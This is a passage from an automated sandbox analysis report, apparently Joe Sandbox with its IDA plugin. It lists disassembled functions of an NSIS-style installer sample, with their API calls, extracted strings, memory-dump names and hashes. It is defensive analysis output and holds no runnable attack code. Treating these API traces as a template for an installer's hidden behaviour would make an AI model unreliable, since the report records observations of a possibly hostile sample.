CreateThread.KERNELBASE(00000000,00000000,Function_00005073,00000000), ref: 004052E5
CloseHandle.KERNELBASE(00000000), ref: 004052EC
ShowWindow.USER32(00000000), ref: 00405313
ShowWindow.USER32(?,00000008), ref: 00405318
ShowWindow.USER32(00000008), ref: 0040535F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405391
CreatePopupMenu.USER32 ref: 004053A2
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004053B7
GetWindowRect.USER32(?,?), ref: 004053CA
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053EC
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405427
OpenClipboard.USER32(00000000), ref: 00405437
EmptyClipboard.USER32 ref: 0040543D
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 00405449
GlobalLock.KERNEL32(00000000), ref: 00405453
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405467
GlobalUnlock.KERNEL32(00000000), ref: 00405489
SetClipboardData.USER32(0000000D,00000000), ref: 00405494
CloseClipboard.USER32 ref: 0040549A

Strings

{, xrefs: 0040537E
New install of "%s" to "%s", xrefs: 004051AE

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: New install of "%s" to "%s"${
API String ID: 2110491804-1641061399
Opcode ID: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction ID: db3ff0878cedf1d1b3e6f9985675ba3e3c8e3ad145c0decdf5c07b0ce3ef5d1a
Opcode Fuzzy Hash: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction Fuzzy Hash: 46B15970900609BFEB11AFA1DD89EAE7B79FB04354F00803AFA05BA1A1C7755E81DF58

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004D70B0,?,000000E6,004100F0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,004100F0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

Rename: %s, xrefs: 004018F8
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
Call: %d, xrefs: 0040165A
Rename failed: %s, xrefs: 0040194B
Aborting: "%s", xrefs: 0040161D
CreateDirectory: "%s" created, xrefs: 00401849
CreateDirectory: "%s" (%d), xrefs: 004017BF
Sleep(%d), xrefs: 0040169D
BringToFront, xrefs: 004016BD
SetFileAttributes failed., xrefs: 004017A1
SetFileAttributes: "%s":%08X, xrefs: 0040177B
detailprint: %s, xrefs: 00401679
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
Rename on reboot: %s, xrefs: 00401943
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
Jump: %d, xrefs: 00401602

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction ID: d546d874ac51cf0a7c72b7d7aee7a5a926bf82a1b22bfeef9e4f81a1fba4758f
Opcode Fuzzy Hash: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction Fuzzy Hash: 9EB1F435A00214ABDB10BFA1DD55DAE3F69EF44324B21817FF806B61E2DA3D4E40C66D

Function 004054A5 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054E1
ShowWindow.USER32(?), ref: 004054FE
DestroyWindow.USER32 ref: 00405512
SetWindowLongW.USER32(?,00000000,00000000), ref: 0040552E
GetDlgItem.USER32(?,?), ref: 0040554F
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405563
IsWindowEnabled.USER32(00000000), ref: 0040556A
GetDlgItem.USER32(?,00000001), ref: 00405619
GetDlgItem.USER32(?,00000002), ref: 00405623
SetClassLongW.USER32(?,000000F2,?), ref: 0040563D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040568E
GetDlgItem.USER32(?,00000003), ref: 00405734
ShowWindow.USER32(00000000,?), ref: 00405756
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00405768
EnableWindow.USER32(?,?), ref: 00405783
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00405799
EnableMenuItem.USER32(00000000), ref: 004057A0
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004057B8
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004057CB
lstrlenW.KERNEL32(00451D98,?,00451D98,00476AA0), ref: 004057F4
SetWindowTextW.USER32(?,00451D98), ref: 00405808
ShowWindow.USER32(?,0000000A), ref: 0040593C

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction ID: f960999a9681c69a960cfafceaa395f4ab6c0ab2fcbff8166cb7657a87eea2d0
Opcode Fuzzy Hash: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction Fuzzy Hash: 13C189B1500A04FBDB216F61ED89E2B7BA9EB49715F00093EF506B11F1C6399881DF2E

Function 00405958 Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

lstrcatW.KERNEL32(004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0,-00000002,00000000,004E30C8,00403AED,?), ref: 004059DA
lstrlenW.KERNEL32(0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0), ref: 00405A5C
lstrcmpiW.KERNEL32(0046E218,.exe,0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000), ref: 00405A6F
GetFileAttributesW.KERNEL32(0046E220), ref: 00405A7A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004D30A8), ref: 00405AE3
RegisterClassW.USER32(00476A40), ref: 00405B36
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B4E
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B87

Part of subcall function 00403EC1: SetWindowTextW.USER32(00000000,00476AA0), ref: 00403F5C

ShowWindow.USER32(00000005,00000000), ref: 00405BBD
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BCE
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BD9
GetClassInfoW.USER32(00000000,RichEdit20A,00476A40), ref: 00405BE9
GetClassInfoW.USER32(00000000,RichEdit,00476A40), ref: 00405BF6
RegisterClassW.USER32(00476A40), ref: 00405BFF
DialogBoxParamW.USER32(?,00000000,004054A5,00000000), ref: 00405C1E

Strings

.exe, xrefs: 00405A69
RichEd32, xrefs: 00405BD4
.DEFAULT\Control Panel\International, xrefs: 004059C5
_Nb, xrefs: 00405AFD
Control Panel\Desktop\ResourceLocale, xrefs: 0040599E
RichEdit, xrefs: 00405BF0
RichEdit20A, xrefs: 00405BE2, 00405BE7
@jG, xrefs: 00405AF2
F, xrefs: 00405A22
"F, xrefs: 00405A4B
RichEd20, xrefs: 00405BC9

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: F$"F$.DEFAULT\Control Panel\International$.exe$@jG$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-2746725676
Opcode ID: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction ID: c846f8899feab6000a015ad3d9ba4b80e1385b5ee8e185a3118195eaaf4def2f
Opcode Fuzzy Hash: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction Fuzzy Hash: 53719175600705AEE710AB65AD89E2B37ACEB44718F00453FF906B62E2D778AC41CF6D

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

lstrcatW.KERNEL32(00000000,00000000,open,004D70B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,open,open,00000000,00000000,open,004D70B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00426979,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00426979,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00426979,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Strings

File: error, user cancel, xrefs: 00401B93
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: wrote %d to "%s", xrefs: 00401BD0
File: error, user retry, xrefs: 00401B40
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
open, xrefs: 00401A53, 00401A5C, 00401A69, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error, user abort, xrefs: 00401B53
File: error creating "%s", xrefs: 00401AF0

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$open
API String ID: 4286501637-2478300759
Opcode ID: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction ID: 90fa90950dbbf035c4f81507b49f49b55cd41b97b653845b504dd01eb698d819
Opcode Fuzzy Hash: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction Fuzzy Hash: 8B512931901214BADB10BBB5CC46EEE3979EF05378B20423FF416B11E2DB3C9A518A6D

Function 0040337F Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 175
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033F1
GetTickCount.KERNEL32 ref: 00403492
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004034BB
wsprintfW.USER32 ref: 004034CE
WriteFile.KERNELBASE(00000000,00000000,00426979,00403792,00000000), ref: 004034FF
WriteFile.KERNEL32(00000000,00420170,?,00000000,00000000,00420170,?,000000FF,00000004,00000000,00000000,00000000), ref: 00403597

Strings

(]C, xrefs: 004033FD
yiB, xrefs: 0040346F, 0040348A, 00403513
pAB, xrefs: 004033AB
... %d%%, xrefs: 004034C8
y)B, xrefs: 00403458, 0040346A

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: (]C$... %d%%$pAB$y)B$yiB
API String ID: 651206458-3313267460
Opcode ID: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction ID: 38da17626370685da8d32df628044978fcb9abff53cdf920ebdff1c577d6aec0
Opcode Fuzzy Hash: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction Fuzzy Hash: BE615D71900219EBCF10DF69ED8469E7FBCAB54356F10413BE810B72A0D7789E90CBA9

Function 004035B3 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004035C4
GetModuleFileNameW.KERNEL32(00000000,004EB0D8,00002004,?,?,?,00000000,00403A73,?), ref: 004035E0

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

GetFileSize.KERNEL32(00000000,00000000,004EF0E0,00000000,004DB0B8,004DB0B8,004EB0D8,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 0040362C

Strings

soft, xrefs: 004036A1
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037F1
Error launching installer, xrefs: 00403603
Null, xrefs: 004036AA
Inst, xrefs: 00403698

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction ID: dd9ffda97dac1e18d9081c595fe0b3a994810ea71df15e1d022794f6b5594c79
Opcode Fuzzy Hash: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction Fuzzy Hash: 8551B8B1900214AFDB20DFA5DC85B9E7EACAB1435AF60857BF905B72D1C7389E408B5C

Function 00404F9E Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00445D80,00426979,74DF23A0,00000000), ref: 00404FD6
lstrlenW.KERNEL32(004034E5,00445D80,00426979,74DF23A0,00000000), ref: 00404FE6
lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00426979,74DF23A0,00000000), ref: 00404FF9
SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426979,74DF23A0,00000000), ref: 00406902

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction ID: 2ad3572104664f977ebc3f2c903ed8e4223e657edd1a0c85de02785a0cf57670
Opcode Fuzzy Hash: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction Fuzzy Hash: CD219DB1800518BBDF119F65CD849CFBFB9EF45714F10803AF905B22A1C7794A909B98

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
<RM>, xrefs: 00402713
open, xrefs: 00402770

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$WriteINIStr: wrote [%s] %s=%s in %s$open
API String ID: 247603264-1827671502
Opcode ID: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction ID: 073f588d32262f2f2aee4dc53e9f390c64699363c3e1a285ed73a3087a8005e5
Opcode Fuzzy Hash: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction Fuzzy Hash: FF014471D4022AABCB117FA68DC99EE7978AF08345B10403FF115761E3D7B80940CBAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00426979,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00426979,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00426979,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004D70B0,?), ref: 00402202

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
